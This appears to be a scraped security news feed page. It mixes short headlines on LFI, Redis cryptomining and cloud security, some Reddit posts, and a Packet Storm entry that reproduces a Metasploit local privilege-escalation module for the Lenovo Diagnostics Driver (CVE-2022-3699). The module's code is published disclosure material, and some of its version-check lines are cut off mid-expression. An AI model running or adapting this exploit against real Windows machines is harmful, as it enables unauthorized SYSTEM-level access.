Research | How can Local File Inclusion lead to RCE?

Local File Inclusion (LFI) is a type of vulnerability commonly found in web applications. It allows an attacker to include a local file…Continue reading on Medium »
Read more...

Dark Reading: Attacks/Breaches
Scores of Redis Servers Infested by Sophisticated Custom-Built Malware

At least 1,200 Redis servers worldwide have been infected with "HeadCrab" cryptominers since 2021.

Dark Reading: Attacks/Breaches
How the Cloud Is Shifting CISO Priorities

The greatly expanding attack surface created by the cloud needs to be protected.

Dark Reading: Attacks/Breaches
MITRE Releases Tool to Design Cyber Resilient Systems

Engineers can use the Cyber Resiliency Engineering Framework Navigator to visuzalize their cyber resiliency capabilities.

Exploit Collector
Lenovo Diagnostics Driver Memory Access

https://3.bp.blogspot.com/-_lYy5AwzHPI/WWlvAVk_lrI/AAAAAAAAIKU/HsTDdKCabVkkHkFsXQw08U72hOmjap5rACLcBGAs/s1600/h121.png This Metasploit module demonstrates how an incorrect access control for the Lenovo Diagnostics Driver allows a low-privileged user the ability to issue device IOCTLs to perform arbitrary physical/virtual memory reads and writes.

SHA-256 | 4d81e8f2ae72805082f511a1afa0427bff321c86d10fa56019672dac926e51f8Download ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking

include Msf::Exploit::Local::WindowsKernel
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'Lenovo Diagnostics Driver IOCTL memmove',
'Description' => %q{
Incorrect access control for the Lenovo Diagnostics Driver allows a low-privileged user the ability to
issue device IOCTLs to perform arbitrary physical/virtual memory read/write.
},
'License' => MSF_LICENSE,
'Author' => [
'alfarom256', # Original PoC
'jheysel-r7' # msf module
],
'Arch' => [ ARCH_X64 ],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Targets' => [
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'References' => [
[ 'CVE', '2022-3699' ],
[ 'URL', 'https://github.com/alfarom256/CVE-2022-3699/' ]
],
'DisclosureDate' => '2022-11-09',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => []
},
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_railgun_api
]
}
}
}
)
)
end

def check
unless session.platform == 'windows'
# Non-Windows systems are definitely not affected.
return Exploit::CheckCode::Safe
end

handle = open_device('\\\\.\\LenovoDiagnosticsDriver', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
if handle.nil?
return Exploit::CheckCode::Safe
end

session.railgun.kernel32.CloseHandle(handle)
CheckCode::Appears
end

def target_compatible?
build_num = sysinfo['OS'].match(/Build (\d+)/)[1].to_i
vprint_status("Windows Build Number = #{build_num}")

return true if sysinfo['OS'] =~ /Windows 10/ && build_num >= 14393 && build_num <=
return true if sysinfo['OS'] =~ /Windows 11/ && build_num == 22000
return true if sysinfo['OS'] =~ /Windows 2016\+/ && build_num >= 17763 && build_num <=

false
end

def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end

# check that the target is a compatible version of Windows (since the offsets are hardcoded) before loading the RDLL
unless target_compatible?
fail_with(Failure::NoTarget, 'The exploit does not support this target')
end

if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
end

encoded_payload = payload.encoded
execute_dll(
::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-3699', 'CVE-2022-3699.x64.dll'),
[encoded_payload.length].pack('I<')
)

print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end Source:packetstormsecurity.com

Deep Web
Why is vice city not working

Title

submitted by /u/UnhappyDuck1
[link] [comments]

Bug Zero at a Glance [Week 28 January — 03 February]
https://blog.bugzero.io/bug-zero-at-a-glance-week-28-january-03-february-75bdb06293e4?source=rss------bug_bounty-5

What happened with Bug Zero?Continue reading on Bug Zero » (https://blog.bugzero.io/bug-zero-at-a-glance-week-28-january-03-february-75bdb06293e4?source=rss------bug_bounty-5)

Get Into Cybersecurity in 2023: A Step-by-Step Guide

Unlocking the Secrets to a Successful Cybersecurity Career: A Step-by-Step Guide for BeginnersContinue reading on InfoSec Write-ups »
Read more...

hacking: security in practice
ISO7816 Smart Card Reader and Writer Recommendation

Wondering if anyone has a recommendation for a good card reader/writer for < $30. On Amazon it seems that all have poor reviews or only have reading capabilities.

My specific chip I am trying to learn with is an atmel 24C02 IC card.

Thanks!

submitted by /u/nixcydr
[link] [comments]